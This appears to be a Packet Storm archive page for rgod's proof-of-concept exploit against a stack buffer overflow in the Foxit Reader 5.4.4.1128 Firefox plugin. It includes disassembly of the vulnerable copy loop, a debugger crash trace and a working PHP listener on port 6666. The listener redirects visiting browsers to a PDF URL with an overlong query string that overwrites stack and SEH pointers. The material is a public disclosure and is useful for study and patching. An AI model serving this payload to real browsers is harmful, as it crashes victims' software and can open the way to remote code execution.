exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Foxit Reader 5.4.4.1128 Plugin For Firefox Buffer Overflow

Foxit Reader 5.4.4.1128 Plugin For Firefox Buffer Overflow
Posted Jan 8, 2013
Authored by rgod | Site retrogod.altervista.org

The Foxit Reader plugin for Firefox suffers from an overly long query string remote stack buffer overflow vulnerability in npFoxitReaderPlugin.dll. Versions 5.4.4.1128 and below are affected.

tags | exploit, remote, overflow
SHA-256 | 6a542e992542383195aaa18e60759b3a2bfb1211b67ab8744bdec617dbce8df3

Foxit Reader 5.4.4.1128 Plugin For Firefox Buffer Overflow

Change Mirror Download
<?php
/*
Foxit Reader <= 5.4.4.1128 Plugin for Firefox npFoxitReaderPlugin.dll Overlong
Query String Remote Stack Buffer Overflow PoC --------------------------- rgod

(listener)

Tested against Microsoft Windows
Mozilla Firefox 17.0.1
Foxit Reader 5.4.3.0920
Foxit Reader 5.4.4.1128

File: npFoxitReaderPlugin.dll
Version: 2.2.1.530

Product url: http://www.foxitsoftware.com/downloads/
Last version setup file: FoxitReader544.11281_enu_Setup.exe

Usage:
Launch from the command line, then browse port 6666 with Firefox.
You can test it also through this url:

http://192.168.0.1/x.pdf?[A x 1024]

File must be existing or the server should be responding with
the proper Content-Type header.

vulnerable code, npFoxitReaderPlugin.dll:

;------------------------------------------------------------------------------
L1000162F:
push ebx
push esi
push edi
mov edi,ebp
or ecx,FFFFFFFFh
xor eax,eax
xor ebx,ebx
xor esi,esi
repne scasb
not ecx
dec ecx
test ecx,ecx
jle L100016E4
L1000164A:
mov al,[esi+ebp]
mov word ptr [esp+18h],0000h
cmp al,25h
jz L10001661
mov ecx,[esp+1Ch]
mov [ebx+ecx],al
jmp L100016CE
L10001661:
mov al,[esi+ebp+01h]
cmp al,30h
jl L1000166D
cmp al,39h
jle L1000167D
L1000166D:
cmp al,41h
jl L10001675
cmp al,46h
jle L1000167D
L10001675:
cmp al,61h
jl L100016C6
cmp al,66h
jg L100016C6
L1000167D:
mov dl,[esi+ebp+01h]
inc esi
inc esi
lea ecx,[esp+10h]
mov [esp+18h],dl
push ecx
mov al,[esi+ebp]
lea edx,[esp+1Ch]
push L100450D4
push edx
mov [esp+25h],al
call SUB_L10006421
mov eax,[esp+1Ch]
lea ecx,[esp+24h]
push eax
push L100450D0
push ecx
call SUB_L100063CF
mov eax,[esp+34h]
mov dl,[esp+30h]
add esp,00000018h
mov [ebx+eax],dl
jmp L100016CE
L100016C6:
mov ecx,[esp+1Ch]
mov byte ptr [ebx+ecx],25h
L100016CE:
inc ebx
mov edi,ebp
or ecx,FFFFFFFFh
xor eax,eax
inc esi
repne scasb
not ecx
dec ecx
cmp esi,ecx
jl L1000164A
L100016E4:
mov edx,[esp+1Ch]
pop edi
pop esi
mov eax,00000001h
mov byte ptr [ebx+edx],00h
pop ebx
pop ebp
pop ecx
retn
;------------------------------------------------------------------------------

this copy loop ends up in overwriting stack pointers, then
(by attaching to plugin-container.exe):

(f48.1778): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0076ed4c ebx=00000341 ecx=002cf414 edx=002cf414 esi=41414141 edi=0076e9e8
eip=10016852 esp=002cf3f8 ebp=75eacdf8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
npFoxitReaderPlugin!NP_GetEntryPoints+0x15672:
10016852 8906 mov dword ptr [esi],eax ds:0023:41414141=????????
...
Attempt to write to address 41414141
...

also SEH pointers are overwritten
*/

error_reporting(0);

set_time_limit(0);

$port = 6666;

$____redirect = "HTTP/1.1 301 Moved Permanently\r\n".
"Server: Apache\r\n".
"Location: /x.pdf?".str_repeat("A",1024)."\r\n".
"Content-Type: text/html\r\n\r\n";

$____boom = "HTTP/1.1 200 OK\r\n".
"Server: Apache\r\n".
"Accept-Ranges: bytes\r\n".
"Content-Length: 60137\r\n".
"Content-Type: application/pdf\r\n".
"Connection: keep-alive\r\n\r\n";

$socket = stream_socket_server("tcp://0.0.0.0:".$port, $errno, $errstr);

if (!$socket) {
echo "$errstr ($errno)\n";
} else {
echo "Listening on public tcp port ".$port." \n";
while ($conn = stream_socket_accept($socket)) {
$line=fgets($conn);
echo $line."\n";
if (strpos($line,".pdf")){
fwrite($conn,$____boom);
}
else {
fwrite($conn,$____redirect);
}
fclose($conn);
}
fclose($socket);
}
?>


Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close